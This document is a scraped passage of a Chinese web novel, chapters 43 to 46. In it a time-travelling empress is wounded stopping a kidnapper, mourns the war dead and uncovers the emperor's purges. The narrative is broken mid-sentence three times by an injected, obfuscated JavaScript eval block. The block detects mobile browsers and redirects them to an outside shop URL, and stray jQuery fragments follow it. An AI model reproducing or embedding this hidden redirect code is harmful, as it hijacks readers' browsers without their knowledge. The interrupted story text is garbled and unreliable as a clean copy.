路人七嘴八舌围过来道:“小姐你没事吧......”,“没事没事已经报官了,肯定能追的回来的。”,“哪有这种当街绑架人的狗东西?真该死。”,“现在城门紧闭,他出不去城的!” 真让他到了城下,就麻烦了。 闹市之中全是贩夫走卒,还有各种瓜果蔬菜摊,她的马明明更快,但因为谢厌太缺德,总有各种惊险花招,就是追不上。 礼诗涵喝止其他人的言语,虽披头散发,但更显肌肤如雪,五官凌厉而美艳,她道:“诸位听我一言——我是当朝皇后上官梨!” “现为救人,希望大家助我一臂之力!” 43. 第43章 上官皇后(七) 哪边是近路? 礼诗涵声名早已传出利阳,个子儿高挑、下巴处有一颗小痣的美艳少女可不是那么多见。好事者一路骑驴帮她开道,礼诗涵得以先一步绕至城门前。 “架起绊马索,快!”百姓们七手八脚地拉起绳索,但谢厌马术了得,一眼瞧见路口人影憧憧,当即调转马头绕路,礼诗涵只得纵马再追。 士兵怎么还不来? 现在城外在打仗啊!士兵们在守城。况且以那人身手,普通人来就是一下的事。 礼诗涵几次让人堵路不成,差点害别人受伤,只觉得谢厌简直狡猾至极。怎么办? 他手上血债累累,可不会在乎多在马蹄下丧生几个人。而如果不想在城中引起烈火,她最好绝了用炸药的心思。 礼诗涵猛地抬头。 屋顶上不是很宽敞吗? “来几个人,”礼诗涵道,“仔细听我说!” 谢厌非常烦躁。 不长眼的人怎么就有那么多?大街小巷都拉上了绊马索,就算他马术再好,马儿也不会飞。 他阴冷的目光瞥向身后,校尉夫人目光愤恨地瞪着他。这个人质只能早点派上用场了。 反正若是吃了败仗,主将谢雍要挨的鞭子可远比他要多多了。 谢厌狂扯缰绳,疯马在街市狂奔,腾跃过被百姓堆起来的乱七八糟的障碍物。发出重而急的马蹄声。没人想知道被大几百斤的马儿踩过会是什么下场。 他发出冷笑,忽然意识到一件事: 那个穷追不舍的莫名奇妙的女人去哪了? 礼诗涵踩着一个好心人的肩膀爬上房檐,仔细听着远方不断奔袭而来的马蹄声,只觉得自己的心快要跳出嗓子眼了。 “抓人质真是下作。”礼诗涵不断地给自己打气,愤愤道,“抓女人作人质更是下贱!” 眼角瞥到一抹艳色和在风中狂舞的黑发,谢厌发现礼诗涵意图的时候已经晚了。 再漂亮的女人也有着八九十斤的体重,谢厌只闪电般转头,眼睛只来得及倒映出这女人在风中狂舞的秀发和决绝的身影。 礼诗涵猛得跳下,这重量裹着重力小炮弹一样创到谢厌身上,两条线条优美的手臂死死抱住谢厌的脖颈,就算再骁勇善战的马上将领也承受不住大运的撞击,谢厌只来得及大骂:“疯子!” 便和着礼诗涵一起被撞飞出去! 哗!咣!礼诗涵存了心拿他当肉垫,千钧一发之际谢厌一把扯下摊贩遮雨的凉棚,砰!两个人□□狠狠撞破凉棚,撞翻桌案,在地上摔出何止一丈远! “哇!”谢厌当场喷出一口淋漓的鲜血,胸腹剧痛,礼诗涵胳膊还死死勒着他,面容被长发遮掩着,比他的状况还要糟糕,已经在过分猛烈的撞击中直接晕厥。 这疯女人明明比那个女人身份高多了。 到底他妈的图什么? 谢厌艰难喘息着,刚想仔细看一眼这疯子尊荣,但校尉夫人被人从马上救下来解开绳索,立刻就呼唤百姓们围住凉棚。她是根正苗红的鹿城人,祖上三代都是鹿城士族,在当地知名度比礼诗涵这皇后还高。 真倒霉,谢厌把疯女人一把推到校尉夫人怀中,在女人的尖叫中转头再次逃跑。 普通百姓拦不住他这种从尸山血海中杀出来的将领。但他也很少受这么重的伤。在战场上受伤很常见,但他要如何对人说,他被一个一看就娇生惯养的女子撞成重伤的? 谢厌咽下一口腥甜的血,愤愤地想,女人还是不要惹了! “.........皇后......上官皇后.......皇后娘娘快醒醒!” 周围的声音仿佛隔在深水中,礼诗涵还以为这次又给人推进水里了,但她呼吸的空气滚烫而腥甜,伏在谁的背上,这身躯温热,能感受到胸腔传来的震动。 原来只是她在耳鸣。 礼诗涵趴在校尉夫人的背上,感觉身上很痛,她从来没这么痛过,蔫蔫道:“你没事啊,太好啦。那个疯子呢?” “娘娘,你没事才是我没事。”校尉夫人痛哭流涕,一半是感动的,一半是后怕的,“你要是有事,我全家都有事啦!” 礼诗涵自得地嘿嘿笑了笑,胸口又好痛,她又蔫下去了,可怜兮兮地趴在校尉夫人的肩膀上,道:“不会那样的。我这是见义勇为。” 似乎在不断往上走。礼诗涵费力地看了看旁边,道:“我们这是去哪啊?” “鹿城最好的大夫是我娘,我家三代都是军士,我娘也当然在军中留用。”校尉夫人背着礼诗涵,在士兵的护卫下缓缓登上城墙,轻声道,“亲兵来报,我军大胜,现正乘胜追击,鹿城之危已解,我等不及她赶回来,先一步带您来了。” 日已西垂,深黄色的日光把所有事物的细节都融得模糊不清。礼诗涵眯了眯眼,不知道为什么看不清楚。 “那是什么?” 校尉夫人循着她的手指望去,鲜血几乎涂满了半个城墙,城下尸横遍野,有中箭而死的,被乱剑挥砍至死的,有被斩于马下的,比以往更加血腥。 因为这次打仗多了礼诗涵的炸药,所以全尸更少了,地上布满了被炸过的巨大坑洞,烧焦的尸首比比皆是。 一只被炸断的头颅被顶在尖枪上,礼诗涵的脑袋还是昏昏的,天旋地转,闭了闭眼,痛苦道:“我不会被撞傻了吧?” 她的大脑可是很宝贵的财产! “呃,这......”校尉夫人尬笑了两下,鹿城临近边关,她对这样的情况早已经熟悉了,但皇后娘娘一看就没有。她沉吟片刻道:“皇后娘娘,那只是一面旗帜。士兵们鼓舞士气用的,旗帜。” 她慢慢地走着,道:“皇后娘娘不舒服就闭上眼睛休息吧。娘娘大恩,我必然会保证娘娘的安全。” “是吗?”礼诗涵觉得形状不像,但她实在头晕,也没起疑,撒娇道,“大夫究竟在何处啊?我好难受。” 鹿城最好的大夫,校尉夫人的娘放下礼诗涵的手腕,她眉毛因痛苦皱成一团,脸上还有点未脱的稚气。这最尊贵的女人受伤的方式也十分令人惊诧。 这一下她伤得实在不轻。 谢厌当场吐血骨折,她也皮肉青紫,内脏也受到震荡,全靠她年轻底子好。 吃些平和温养的药物,静养那么两三月也就好了。 三个女人谈话间,忽地听到呼声震天。 大阜士兵们每个人脸上都露着喜色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801305|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有了皇后娘娘的奇技,他们从来没打过如此轻松的仗,此刻策马回城,难免高呼:“大阜万岁!皇后娘娘万岁!” “?”礼诗涵平躺在担架上,敏锐地抬头。 大夫正细细叮嘱校尉夫人注意事项,校尉夫人劫后余生,扑在娘怀里抹泪,她也不好意思听别人家事。 但她听得到有人呼唤她的名字。 礼诗涵是个见到别人高兴自己也高兴的人,当即忍着剧痛高高兴兴地爬起来,准备迎接万众的掌声。 平躺许久后,那种大脑仿佛被放进搅拌机里的眩晕感好了许多,原本不甚清晰的五感,也一一归位。 咚。 校尉夫人听得一声极其细微的声响,是人的骨头和墙面撞击的声音。年轻而柔软,脸上还带着些稚气的皇后身躯摇晃,险些坠下城去。 她连忙过去搀扶:“皇后娘娘,别乱动啦,娘都说您得静养........” “皇后娘娘万岁!皇后娘娘万岁!” 士兵们的铠甲上染着血色,有些是他们自己流出的血,有些是大秉士兵的血,血,血,断掉的手脚,炸出的坑洞,已经浓重到令人欲呕的血腥味。 士兵们眼尖,已经瞧见城墙上的少女身影,欢呼雀跃,一时无两。 如果皇后现在露出痛苦的表情,对浴血拼杀的将士多残忍啊?于是她僵硬地笑了起来。 令君如半身浴血,看到年轻的皇后笑得像哭泣,缓缓、缓缓地把自己的脑袋缩回了城墙底下。 “皇后娘娘?”校尉夫人忙撑住她,道,“您怎么了?娘!娘!快来看看?” “明明应该开心的。”泪水从少女的眼眶中溢出来,声音像哽住了一样发不出来,“大秉大军来犯,我又不是圣人,不应该觉得他们可怜......可我.......不知道为什么好难过。” 有种东西是同理心。 虽然有矛盾、有冲突,但看见和自己一样的人流血,还是会感到痛苦。 年轻的皇后哇地吐出了一口鲜血。 见义勇为的热血,天资卓越的自得,都与她远去了。礼诗涵朦朦胧胧地想,她好想回家啊。 平和的、安定的故乡。 那个能让她活在象牙塔中的地方,她好想回去啊! 我不要活在这里,失去意识前,礼诗涵心想,我讨厌这里! . 新元初年,大秉来犯,皇后献奇法,并亲自督战,初战告捷—— 捷报频传,利阳皇宫中,气氛却无比压抑。 宫女们大气不敢出,王宇航端坐在龙椅上,面色阴沉。 为什么你做什么都会成功呢? 我亲爱的、我最爱的人。 如果你不是我爱的人多好?如果你不在我身边多好?我爱你啊,你却让我如此痛苦! 大太监轻声细语地道:“上官丞相求见。” “让他滚!”王宇航掀了掀眼皮,又改了主意,道:“让他进来。” 上官丞相行礼,满意地瞧见新皇帝眼中翻滚的嫉妒心,多可笑,皇帝居然会嫉妒皇后! 他表面上仍然恭恭敬敬道: “陛下,下官来向您献可名传千古之计!” 44. 第44章 上官皇后(八) 礼诗涵的母亲礼戎是个漂亮又温柔的大美人。 礼诗涵十二岁那年考到了本市的理科状元,志愿只填了一行,当地的报纸大肆报道天才少女的诞生,高校招生的电话一个接一个。 礼爸宴请八方,路过的狗都被塞了个鸡腿,而礼诗涵狂得恨不得把宴席上的横幅拉下来披在自己身上。 当时只有妈妈为什么要用那么悲伤的眼神看着她呢?她的未来肉眼可见的无比光明。 宴席散后,礼戎仔仔细细地看着自己的女儿,那和礼诗涵如出一辙的漂亮眼睛里仿佛已经看穿了女儿的一生。 “诗涵。”礼戎的声音艰涩、夹杂着哽咽,饱含着礼诗涵听不懂的情绪,“你是我普通人礼戎普通的女儿,小的时候也是和别人一样扎羊角辫,在树荫下穿着凉鞋吃雪糕。” “将来你或许会像大多数人一样,建立家庭,或者不建立,选择养一条狗和猫。妈妈都支持你。我只要你能开心地吃饭、睡觉,做自己想做的事。” “就算不特别也可以。” . “咳、咳!”礼诗涵从梦中惊醒,肺腑隐隐作痛,丝绸被褥滑溜溜又柔软,应该很贵,她不想污了被褥,但咽喉腥甜,她实在忍不住,又吐出一口血。 “皇后娘娘!”容华一直守在床边,急忙为少女顺着脊背,叫道,“大夫呢?大夫!皇后娘娘醒了!她又吐血了!” “这里是?” “还是校尉府上。”容轻在地上跪得笔直,道,“奴婢失职,请皇后娘娘责罚。” 校尉夫人一身白孝,哭哭啼啼地拽着她娘扑进来,年过半百的林大夫探过礼诗涵的脉搏,道:“皇后娘娘年轻,只是突然气火攻心,需得卧床静养两三月,绝对不能再受车马劳顿,也不能再受伤。” 事情一桩桩一件件,礼诗涵想说千言万语,想到那血淋淋的一幕,又是眉头紧蹙,什么都不想管。 想回家的欲望达到了最高峰,她把自己蜷成一团。 “下去,下去,都下去。”容轻很会看人眼色。 礼诗涵没精力处理她,她麻溜爬起来,把想说点什么的校尉夫人和大夫都赶出门,道:“药煎好送进来,医嘱告诉外面的令太尉。让皇后娘娘好好休息。” “我好想回家。”礼诗涵道,“我想妈妈。” “皇后娘娘。”容轻无视容华丰富的肢体语言,轻轻道,“您还能回家吗?” “您的故乡在哪里呢?” 上官梨是可以回家的,现在的皇后娘娘是谁呢? 礼诗涵也不意外她们能看出来,她抱着膝盖,缓缓道:“在和平得多的地方。每个孩子都有学上,可以读十几年的书、能吃到全世界的美食、如果不求大富大贵,也能普普通通过上一生。” 完全是天方夜谭的生活。 如果礼诗涵曾经的生活真如她所说,那她还真是神女——下来渡劫的神女。 礼诗涵给自己说的眼眶发酸,道:“而且我真正的爸爸妈妈可比现在的好多了.......” 容华和容轻对视一眼,容轻轻轻拍着她的背,轻声道:“那娘娘怎么还不回去呢?” “我也想。”礼诗涵吸吸鼻子,道,“可是如果没有一间国家级别的实验室,我是回不去的。” “如果我和旁人一样结了婚,孩子大概也就和娘娘一样大。”容华伏在床边,咕哝道,“如果我的孩子丢了,我一定会很焦心想找回来。” “对哦。”礼诗涵忽然醍醐灌顶,连周身都松快了许多,道,“干爸干妈一定会来找我的!我已经留下了线索,只要他们按照我的实验步骤重复,一定能找到那个兔子洞,想办法把我接回去的!” “咳咳咳!” 她乐极生悲,肺腑受创的人最忌气血上涌,于是又是一阵狂咳。 容轻还想说什么,被容华拦住了。她给礼诗涵顺着背,顺着把纤细的少女搂在怀中,道:“对呀,对呀。每个人都各自有着自己的命数。非人力所能改。娘娘不必为了旁人的事情伤心难过,娘娘只需当自己是这个世界的过客。” “这些苦难都是你原本不必受的。”容华的年纪已经不轻了,笑起来的时候会有些笑纹,她道,“娘娘只消扮演好皇后就行了,毕竟这个世界.......”烂得透彻。 容华把话咽进了肚子里,道:“娘娘要是回家的话,如果能把我们两个也带着就好了。我还没见过那种地方。” “嗯!”礼诗涵两眼放光,道,“一言为定!” 她还是第一次受这么重的伤,很快又睡了过去。容华替她掖好被角,这次她的睡颜就幸福得多了,看着就让人心情好。 容轻端着烛台,照向窗外,细长的眼睛微微眯起。 容华小声问:“怎么了?” 容轻打开窗户,令君如金色披风被风卷起,盔甲上还残着清洗不去的深深血迹。他眉眼深邃,立在院中,面露不忍之色,正在一张宣纸上写着什么。 “?”容轻不知道他在这里凹造型做什么,小声道,“你听得多少?” 令君如并不回答她的问题,他捏了捏眉心,道:“诸事我已安排妥当。娘娘身体不能再舟车劳顿,便先暂居鹿城歇息。皇后娘娘受伤一事是我失职,鹿城虽安全,还有三城未还,项上人头暂且留在我处,待凯旋归来再让娘娘发落不迟。” “我问你话呢?”他叽里咕噜一大段,容轻忍不住道,“娘娘睡着了,没人听。” “我知。”令君如把改好的手信重新放回信封中,道,“请交予娘娘——她心性纯善,本不该受此苦楚。我留一队亲兵在此处随她调遣,病中不能做又想做之事,可让他们代劳。” “军情紧迫,本想与娘娘当面辞行却不得,请代我向娘娘告罪。” . 校尉夫人与她年龄相仿。 家中遭袭,皇后娘娘把她从那死人的马上抢救下来,本就十分伟大。 听说那人居然是损得天地难容的琼华谢氏之人,皇后娘娘在她心中的地位更是高到天际。 皇后娘娘在她家养伤,她便每天带着话本子、叶子牌和好不容易养到现在的蛐蛐来寻礼诗涵玩。 礼诗涵喝了两月中药,觉得自己的舌头死了。 容华又端着那又辣又咸又苦的玩意来,礼诗涵立刻装作看不到,装模作样地继续看起话本子来。 “这几个家族,我怎么觉得这么眼熟?”礼诗涵倚靠在床上,翻着据说是新兴的话本,怀疑人生道,“好像是换皮的红楼梦?” 容华坐在她床边,抽走尊贵无比的皇后娘娘手里的书,道:“别耍脾气了,一口气喝下去,伤好得快,乖啊。” 礼诗涵被灌完一整碗,觉得自己病得更重了。 容轻往她口中塞了块绿豆糕,礼诗涵立刻开始心怀感激地嚼嚼嚼嚼嚼。 校尉夫人拿着两封信雀跃地进来,道:“夫君有信来。一封给我,一封写着是令太尉给皇后娘娘的。” 礼诗涵一目十行地扫过,她现在已经开始习惯古文了。 “战事很顺利啊。”礼诗涵往口中再塞一块绿豆糕,道,“谢厌重伤未愈无法出面,谢雍已失人心,大秉军自乱,据城不出。” 她把信纸一折,感慨道:“终于要结束了。” 其他三个女人的目光都聚集在她身上。 校尉夫人着急道:“这些我都知道。还有呢?” “?”礼诗涵又看了一下,不知道她在急什么,道,“没什么了啊。” 打仗又不是是个一蹴而就的事。 “哎?”校尉夫人苦恼道,“不应该啊?军中寄出来的私人信件,大都十分肉麻啊?” 容华和容轻都对视一眼,默默点头。 哪怕是在大优势的阵仗中,在最安全的地方,也有可能下一秒就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804153|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 死。 像礼诗涵乖乖地在府中呆着也被阴,更有甚者好好地在军中呆着被从天而降的陨石砸死。 战场上瞬息万变,将士们脑袋都是悬在裤腰带上的。 说不定什么时候说出的话就是最后一句,寄出的信就是最后一封。 私人信件大都是真情流露,校尉夫人看了校尉给自己的信都在偷偷抹眼泪。 礼诗涵似懂非懂,伸手又拿糕点吃,道:“嗯?大约是因为我是皇后??我怎么也算是上司吧。” 容华把绿豆糕端起来,端的高高的。 容轻拿来面铜镜,柔柔叹道:“皇后娘娘,请您多少看看您的尊荣。长成您这样的,再也不想要有异性普通朋友了。请您一定记住,您身边的男人大都是对您图谋不轨。” 受伤出血是一间很消耗底子的事,哪怕身体素质好如礼诗涵也不例外。 少女那点稚气很快消脱了,镜中映出的人影穿着嫩粉色的寝衣,笑起来却有一丝鬼魅横生的艳色。 “?”礼诗涵对着镜子沉思半晌,指着自己的痣,说出了很不符合她唯物主义战士的话,道,“我小时候算命,算命先生说我命犯烂桃花。难道是因为我这颗痣长得不对?” 两个侍女:“........” 校尉夫人震惊道:“皇后娘娘,难道您一直没发现太尉大人看您的眼神不对么?” 礼诗涵反问:“有什么不对?” “我也说不清楚。”校尉夫人捧着脸说,“不一样的。遇到喜欢的人是不一样的。就像我夫君看我是不一样的。如果我在旁边的时候他会特别喜欢展现自己,还会一直偷看我,其实很好笑,但很可爱。” 校尉夫人不好意思地笑了起来,又拖长音道:“娘娘——世界上最好的皇后娘娘——说说嘛,我知分寸,连我夫君都不会告诉。这是我们女子间的秘密。” 礼诗涵沉吟片刻,道:“哪有什么不一样?从小陛下就跟在我身后,我也一直和他在一起。” “您说不定根本不喜欢他,只是习惯了他在身边。”容轻柔柔地阴阳怪气道,“皇后娘娘,您真的很聪明,但您太年少了,好男人见得太少。” 校尉夫人不敢置信,道:“那太尉的信中还说了什么?” “还有一些客套话。”礼诗涵把信纸递给她,道,“喏,实在好奇就拿去看看好了。” 校尉夫人正要去接,礼诗涵又收回了,道:“皇后娘娘好像有点想吃点心。” 校尉夫人狂奔出门又狂奔回来,端来盘桂花糕,拖长声音撒娇道:“娘娘——我家厨子宁死不做小甜点,可是我苦苦求着人家做的,娘娘——” 礼诗涵交出信纸,满意地狂嚼桂花糕。 三个女人把信纸展开一看: “......越近边境,便越觉阴冷,但景色愈发宏伟而壮丽,前日路过一瀑布,如挂九霄,念娘娘病中无聊,如若见之必然欣喜。但现在战乱不绝,硝烟难散,十分败兴,故而在信中并不提及地点,只等战事平定,娘娘伤愈后便可来亲眼瞧瞧。 不知皇后娘娘伤情如何?娘娘性子纯真,才华横溢,因战事而伤,叫人爱之怜之。若非因娘娘心怀慈悲,此债必以血偿,只思及娘娘不爱战事,故而徐图之。 大秉元气大伤,此战毕后,一年内再难兴兵来犯。若是娘娘看厌宫中红墙,不论是想去往林中散步,还是想去往别国游玩,下官亦可为娘娘出谋划策。” 校尉夫人啪地把信纸合上,双手合十,痛苦道:“不好意思皇后娘娘,您可以当我没看过吗?我家在边境当土皇帝很爽,一点参与谋逆的心都没有。” 容华绝望道:“这是客套话?这还能是客套话???皇后娘娘您真的是人吗?” “真是媚眼抛给瞎子看。”容轻毒辣地评价。 咬着半截桂花糕的礼诗涵:“???” 不是吗? 45. 第45章 疯皇帝(一) “他们说只要我做一件事就能测试出来了。” 皇后娘娘坐在椅子上并不看他,令君如半跪在她面前,面色不虞。 校尉夫人、容华、容轻在他们两个身后软垫上排排跪坐,非常乖巧。鹿城校尉本人正在外面日头底下罚跪。 “而我寻思我们的友情比纸还要洁白。这就是我为什么突然牵一下你的手。”礼诗涵咕哝道,“也不会少块肉。你别罚她们了,都跪了一刻钟了!” 五月底的日光璀璨无比,大秉国内冰消雪融,水灾疯狂泛滥,难以为继,送来求和书。 战乱已平,令君和率军重回鹿城,重伤初愈的皇后娘娘已经骑着黛兔在城外迎接。 礼诗涵又略长了几分,身形优美如同春日的蒲柳,一身艳色的衣裙,发间戴着振翅欲飞的金钗。 每个士兵的目光都难以从她身上移开。 艳若桃李的皇后娘娘自然地牵起令君如的手,笑道:“庆功宴已经备好.......” 一句话都没说完,令君如直接啪地攥住了她的手腕,他常年作战,手指上有着一层薄茧。令君如叹道:“是谁教你的?” “?”礼诗涵一脸发现新大陆的表情,道,“你怎么发现的?” 令君如以手扶额,千言万语,化作一句:“唉!” 皇后需得注意身份,但礼诗涵毕竟年少,玩心重,令君如也装模作样吓吓她罢了。 校尉很有眼色的从院中爬起来,呈上一只折断的长槊:“皇后娘娘,这是给您带的礼物。” 四个女子挤成一团咯咯笑着,礼诗涵道:“这什么?” “伤你之人的武器。”令君如遗憾道,“可惜未能俘虏,只能带回来这个,以宽慰皇后。” 礼诗涵沉思一番道:“怎么好像是我自己撞伤的——我要这个有什么用啊?快快拿下去。” 礼诗涵伤愈,士兵也打了胜仗,已经没再有留在鹿城的理由。几日后,礼诗涵依依不舍地骑上黛兔,校尉夫人在后面抹泪相送。 要是这个世界能有手机就好了,哪怕远隔千里也能相互通信。 礼诗涵难过了一会儿,很快又欣赏起明艳的春光来。此地车马虽慢,但这意味着见到朋友的时候又有许多话可以说了。 当队伍里最重要的那个人是多动症儿童的时候,就苦了护卫的士兵。 但多动症儿童同时也是世间难得一见的天才少女,众将都是痛并快乐着。 但军士出发第三日,将士们交头接耳,令君如神色变得凝重。 军士出发第四日,连无知的现代人礼诗涵都发觉不对了。 正午的日光如此热烈,路边野花的香味浓郁得扑鼻,虫鸣声、鸟鸣声、人和马儿踏过野草的窸窣声响,仿佛没有任何事情发生。 礼诗涵打马上前,扯了扯令君如的袖子。她穿着轻薄的嫩绿色衣裙,在鹿城新做的款式,眼中却盈满不安。 “太尉,为什么越靠近都城,越没有人耕田呢?” 水车停摆,村落没了炊烟,田埂上生满了一地野草。 “这不是我来之时路过的村庄吗?”礼诗涵眼珠转了转,道,“那时这里很热闹啊。我在这里暂住过一晚。是因为害怕战乱蔓延到此处,所以居家迁走了吗?” 令君如面沉如水,他穿过田间小路,随便推开一户人家的房门。门户虚掩,房中却十分整齐,没什么遭匪的迹象,而百姓就是不见人影。 他闭目,忽然问:“皇后娘娘,您可曾收到过利阳来信?” “当然。”礼诗涵乖乖回答,“陛下每半月都会给我寄信。说他很担心我,山高路远,叫我千万要养好身体,待大军班师回朝再回来。” 新皇说给皇后的话能听几分? 令君如一点也不信,扬声问身后副将:“家中可有来信?” 令六和令君如是同宗,他老老实实摇头道:“没有,老夫人没递信来。” 他又问副将裴伍:“一直前往都城传递军情的使者现在何处?” 裴伍也察觉到什么不对,道:“他们早先一步启程。” “你们呢?” 众将来回看看,道:“我家很远,而又难以找人帮我带口信......”,"我家没别人。",“我不认字。”,“未见回音。” 在这里文盲占了百分之九十,鹿城本就偏远而保守,又刚刚闹过战乱,哪个走商敢来?只有从鹿城离开的,少见回来的。 这意味着这整整三万人居然没有一个能知道利阳究竟发生了什么。 对,现在是车马慢。 可是大家只是走得慢一些,又不是都死了,怎么会一点消息也没有! 只有一个解释,借着战事,他们被集体瞒下来了一件事。信件被拦、消息被阻,有件事不能让他们知道。 礼诗涵抓着令君如的手指紧了紧。 令君如轻轻拍拍礼诗涵的手臂,以示安抚,但心下雪亮——要瞒住的其实只有一个人。 能做到这种事的也只有一个人。 新皇帝干了什么,需要瞒住皇后? “走吧。”令君如道,“回到利阳就能知道了。” 真是一件奇事,居然越靠近都城的地方景色就越荒凉。有人气和没人气,就算是一模一样的景色,也完全是两个样子。 行军第七日,令君如深夜来访。 雾蒙蒙的雨丝打湿了他的盔甲,铁甲叮咣碰撞,一向梳得一丝不苟的鬓发乱了,被雨丝黏在脸颊上。 他一向很知分寸,她所在的军帐从来没有人敢冒犯。礼诗涵相信他的为人,让容华快快收起手中匕首,起身道:“太尉所来何事?” “............” 在容华和容轻的惊叫下,令君如死死地抓住礼诗涵的手臂,力道大到几乎要把礼诗涵的寝衣抓破。 少女仰着脸看他,她比起大婚的时候长了几分,但终究是柔软的。这样的女子应该生在盛世,而不是生在此时。 令君如希望她一直能如此下去。 他道:“皇后娘娘,请您现在就启程,远离利阳,隐姓埋名,连大阜都离开!” “我乱跑你会被罚吧?”礼诗涵笑道,“我是皇后呀。就算是我,也知道什么能做,什么不能做。我很聪明的,若是发生什么事,可以与我商量,本皇后来帮你想办法。” “现在利阳局面,已经非娘娘一人之力可转圜。” 令君如语速很快,道:“我已备好车马金银,将你先送至我的老家林泉暂居,那里少无人烟,追兵一时难置,我会再另托可靠之人将您送去大燹。那里虽苦了些,但终究还算和平。” 礼诗涵握紧令君如的手,认真道:“令君如。” 令君如抬眼道:“娘娘现在能做的只有一件事——您能让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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朝堂之上,百官肃穆,这种肃穆并不是庄严的肃穆,而是畏惧、得意和恐惧混合起来的氛围。上官丞相站在首位,面露笑容。 “皇后和大军已经启程回朝。”新皇帝微笑道,“谁愿意为我的皇后接风洗尘?” 无人敢应声。 有勇气的人先被杀,有才干的人先被贬。 如此无故滥杀无辜,民间必然有着不平之声,只是两三个月的功夫,就已经惹起民愤。 王宇航废了好大的功夫,才杀绝了让皇后得知此事的可能。 现在百官不平,群情激昂。 但没关系,官场杀了一批、贬了一批,现在空出的位置还有很多。 别管你是地皮流氓,还是土匪头子,犯过什么样的罪,闯过多么大的祸,王宇航只要一件事:听话。 只要愿为他献计者,就能得高官厚禄。只要愿意成为新皇帝手中的刀,就能鱼跃龙门,获得从未有过的地位与财富。 谁能经受得住这样的诱惑? 这世上恶毒的小人可多得很呐。 王宇航自顾自道:“皇后喜欢热闹。又为护他人受伤。若是能为她举办连她也未曾听闻过的宴席,她必然会欣喜不已。” 他随手点了两个人,这两人总是在反对他。王宇航满意地瞧见两人眼中的愤怒和恐惧。 “如若皇后不满意,那就用你们的项上人头来赔罪。” “退朝!” 46. 第46章 疯皇帝(二) 军帐中,礼诗涵认认真真地听完了令君如所说。她没去问陛下为什么会做这种事,这种事是要去向当事人问。 事情已经发生了,令君如没必要骗她。 血腥不仅在战争中蔓延,还在朝堂上蔓延。礼诗涵只要一想起血腥的画面就觉得难过,但现在不是她能在爸爸妈妈怀中哭泣的时候啊! 诗涵,你早已经长大了,可以自己驾驶摩托车,现在也可以自己驯服一匹烈马。 礼诗涵在心中不断地给自己打气。 你不能再害怕血了。 她深吸了一口气,强忍不适道:“陛下做下如此错事,我更要回去了。如果他知道错,那就可以改。如果他不知道错,那就不要他当皇帝了!” “皇后娘娘,您有奇才,但神女之名终为虚。”令君如道,“不要总把事情往自己身上揽,那个位置上无论坐了谁,都会迎来现在的结局。” “是我选了陛下当皇帝,我就应该负起责任来。” “皇后娘娘,您不明白。”令君如叹道,“我想让你远离这些事情。享荣华富贵,做寻常人士,万事不挂心。” “那你就与我说明白。”礼诗涵的身躯在轻微地颤抖,她用力挺直脊背,道,“无论事实是什么我都接受。” 令君如应该现在把她强硬地送走。他心知这是对礼诗涵最好的结局。 但他不能替礼诗涵做决定。令君如面露不忍,道:“上官家是开国功臣,一直绵延到如今,代代都身居要职。他们一直在等的机会,只是恰巧被您赶上了。” 一个身为皇后的女儿。 无论是上官梨,还是礼诗涵。 是温顺乖巧的女儿,还是叛逆乖张的女儿,都不重要。她们都只是上官家拿下那最高权力的第一步。 他成功了。 王宇航的好拿捏只是意外之喜。 “......”礼诗涵心中滋味难以言明,令君如轻轻碰了碰她,她才意识到自己把唇瓣咬出了血。她道:“太尉,你有兵权,你能阻止他们吗?” “娘娘。”令君如无奈道,“我部下将士们皆是这一方水土所养。如果不是到了实在没有办法的地步,谁会想在自己的家乡大动干戈呢?” 还不是时候。 怎么办,礼诗涵就天生是为了科研而生的,就不是搞阴谋的料子,在识读人心幽微上的能力约等于一根未成年香蕉。 她直白道:“太尉,你是不是对我有私心?” 世间再难得见如此鲜艳人物。令君如微微笑起来,在如此两难的时刻,他承认道:“对。” “那如果摒弃掉你的私心,只为了大阜一国,皇后是回去好,还是不回去好?” 就比如说现在,把这种事问一个对她有情的人,多残忍啊? “皇后.....”令君如无法对心爱的女子说谎,也无法抛下大阜。他闭目,再睁眼时还是以往的冷静,缓缓道:“皇后声望极高,若能去稳定局面,自然再好不过。” “那我就回去。”礼诗涵用力拍了拍脸颊,道,“别担心,我可是天才,总能有办法的,对吧?” . 行军第十日,利阳城前。 大军班师回朝,利阳城张灯结彩,锣鼓声响,一派热闹景象。 礼诗涵再回利阳,莫名觉得狭窄了许多。 人们摩肩接踵,街道上马车并行,投射到礼诗涵身上的视线也变多了。不知怎么的,让礼诗涵不太舒服。 令六听命去打探,片刻后来报:“太尉,是各地藩王全都赶来都城。不光是因为我军大胜,还因为陛下想要为皇后举办一场前所未有的宴席。所有身份尊贵的人都必须出席,为皇后献上节目。” “???”礼诗涵面色古怪,凑到令君如身边小声道,“消息真的没错吗?这更像是我竹马忽然突发奇想要开一场年会。” 令君如讲给她听时省略了几个月来许多血腥的细节,现在只能叮嘱道:“回到宫中请万事小心。如果皇后娘娘后悔,下官的承诺随时作数。” “放心吧。”礼诗涵道。 一个时辰后,礼诗涵闯入皇帝寝宫。 